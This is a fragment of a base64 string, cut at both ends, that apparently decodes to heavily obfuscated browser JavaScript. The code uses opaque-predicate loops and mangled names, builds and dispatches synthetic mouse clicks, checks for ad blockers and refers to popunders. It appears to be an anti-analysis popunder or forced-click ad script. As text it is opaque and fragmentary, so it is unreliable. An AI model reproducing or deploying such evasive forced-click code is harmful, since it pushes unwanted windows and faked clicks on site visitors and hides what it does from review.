idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7